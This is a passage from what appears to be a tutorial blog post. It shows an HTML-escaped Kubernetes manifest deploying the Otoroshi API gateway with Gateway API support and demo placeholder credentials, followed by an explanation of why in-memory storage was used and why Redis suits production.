&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  replicas&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    matchLabels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  template&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      serviceAccountName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      terminationGracePeriodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      containers&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;maif/otoroshi:latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        imagePullPolicy&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Always&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10049&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10048&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        env&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_STORAGE_ROOT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_STORAGE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;inmemory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_EXPOSED_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-api-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_TARGET_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-target-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_BACKOFFICE_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-backoffice-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_PRIVATEAPPS_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-privateapps-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_DOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;cleverk8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_INITIAL_ADMIN_PASSWORD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_CLIENT_ID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;admin-api-apikey-id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_CLIENT_SECRET&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;admin-api-apikey-secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-api.otoroshi.svc.cluster.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_SECRET&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;veryveryveryveryverysecret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_EXPOSED_PORTS_HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;80&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_EXPOSED_PORTS_HTTPS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;443&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HEALTH_LIMIT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;5000&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;SSL_OUTSIDE_CLIENT_AUTH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Want&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPS_WANT_CLIENT_AUTH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTP_PORT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;80&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTPS_PORT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;443&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_INITIAL_CUSTOMIZATION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              &quot;config&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                &quot;scripts&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;enabled&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;jobRefs&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    &quot;cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;jobConfig&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    &quot;KubernetesConfig&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;trust&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;namespaces&quot;: [&quot;*&quot;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;labels&quot;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;namespacesLabels&quot;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;defaultGroup&quot;: &quot;default&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;ingresses&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;crds&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;kubeLeader&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;restartDependantDeployments&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;watch&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;syncIntervalSeconds&quot;: 60,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;otoroshiServiceName&quot;: &quot;otoroshi-service&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;otoroshiNamespace&quot;: &quot;otoroshi&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;clusterDomain&quot;: &quot;cluster.local&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApi&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiWatch&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiControllerName&quot;: &quot;otoroshi.io/gateway-controller&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiHttpListenerPort&quot;: [8080, 80],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiHttpsListenerPort&quot;: [8443, 443],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiSyncIntervalSeconds&quot;: 30,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiAddresses&quot;: []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;JAVA_OPTS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&apos;-Xms1g -Xmx2g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        readinessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/ready&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          failureThreshold&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        livenessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/live&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          failureThreshold&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let me highlight the key configuration decisions here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Storage&lt;/strong&gt;: We’re using &lt;code&gt;APP_STORAGE=inmemory&lt;/code&gt; here to keep things simple and avoid setting up an external data store for this demo. It’s the quickest way to get Otoroshi running — no dependencies, no configuration overhead. But let me be clear about the trade-off: with in-memory storage, the entire Otoroshi configuration is gone the moment the pod restarts and you can only count on Otoroshi CRDs for your configs. For production, you absolutely want a persistent backend.&lt;/p&gt;
&lt;p&gt;The natural choice is Redis (&lt;code&gt;APP_STORAGE=redis&lt;/code&gt;), which is what most Otoroshi production deployments use. If you’re already on Clever Cloud, the good news is that &lt;a href=&quot;https://www.clever.cloud/developers/doc/addons/redis/&quot;&gt;Redis add-ons are available directly on the platform&lt;/a&gt; — just provision one, wire up the connection string, and you’re set. And beyond persistence, production deployments will also want to run multiple Otoroshi instances for high availability. Otoroshi supports a cluster mode where instances share state through Redis, which fits naturally with Clever Cloud’s managed Redis offering. If you want to go further, the &lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes/operator/&quot;&gt;Clever Cloud Kubernetes Operator&lt;/a&gt; lets you provision and manage Clever Cloud add-ons (including Redis) directly from Kubernetes manifests — a clean fit if you want to keep 